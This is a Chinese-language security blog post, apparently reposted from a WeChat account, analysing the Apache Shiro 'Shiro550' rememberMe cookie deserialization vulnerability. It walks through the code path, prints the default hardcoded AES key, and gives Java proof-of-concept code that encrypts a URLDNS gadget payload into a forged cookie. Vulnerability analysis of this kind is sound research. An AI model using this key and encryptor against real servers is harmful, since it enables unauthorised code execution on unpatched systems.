扫一扫关注公众号,长期致力于安全研究
至于Shiro是啥,就不过多讲解了,这是一个老漏洞了~
首先会在AbstractRememberMeManager#getRememberedPrincipals获取上下文。
跟进this.getRememberedSerializedIdentity(subjectContext);中CookieRememberMeManager#getRememberedSerializedIdentity代码如下:
在如下,进行了readValue的操作。
跟进该readValue方法,在第四行进行了getCookie。并存入到cookie变量中。第6行进行存入到value中。并最终进行返回
public String readValue(HttpServletRequest request, HttpServletResponse ignored) {
String name = this.getName();
String value = null;
javax.servlet.http.Cookie cookie = getCookie(request, name);
if (cookie != null) {
value = cookie.getValue();
log.debug("Found '{}' cookie value [{}]", name, value);
} else {
log.trace("No '{}' cookie value", name);
}
return value;
}
CookieRememberMeManager#getRememberedSerializedIdentity的主要操作就是对Cookie进行了base64解密
回到最初的方法 AbstractRememberMeManager#getRememberedPrincipals,将解码的cookie放入到了该方法作为参数传入
convertBytesToPrincipals方法如下,可以看到bytes被传入到了decrypt方法中
跟进decrypt方法,在该方法中会利用 getDecryptionCipherKey 函数获取到 AES 的 key,然后进行解密
那接下来分析一下AES的key是什么?跟进之后可以发现是一个get方法。那么对应的找一下set方法是如何设置的?
可以看出在setCipherKey方法中调用了该set方法。而传入的了cipherKey这个参数。
那么谁会调用了setCipherKey方法进行了设置key呢?
最终在其构造方法中,发现了key--->(kPH+bIxk5D2deZiIxcaaaA==)
分析完key之后,继续返回分析cipherService.decrypt方法
跟进该方法
继续跟进decrypt方法,最终执行到doFinal方法执行解密
返回到 AbstractRememberMeManager#decrypt 然后将返回值赋值给 byteSource ,然后存入到字节数组 serialized中, 然后进行返回
最终返回值为bytes变量。然后对其进行反序列化
跟踪deserialize方法
并进入到DefaultSerializer#deserialize方法,并执行了ois.readObject()。
所以说整体流程如下:
Cookie中rememberMe---->base64解码--->AES解密---->readObject()
之后编写poc,以URLDNS为例。直接使用burp中的DNSLOG即可
之后直接将生成的bin文件进行加密即可
public static byte[] keys = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
public static void main(String[] args) throws IOException {
InputStream inputStream = new FileInputStream("test.bin");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
int len = 0;
while( (len =inputStream.read())!=-1){
byteArrayOutputStream.write(len);
}
byte[] bytes = byteArrayOutputStream.toByteArray();
AesCipherService aesCipherService = new AesCipherService();
ByteSource byteSource = aesCipherService.encrypt(bytes,keys);
System.out.println(byteSource.toString());
}
之后成功执行
下方扫一下扫,即可关注
原文始发于微信公众号(安全族):Shiro550反序列化漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论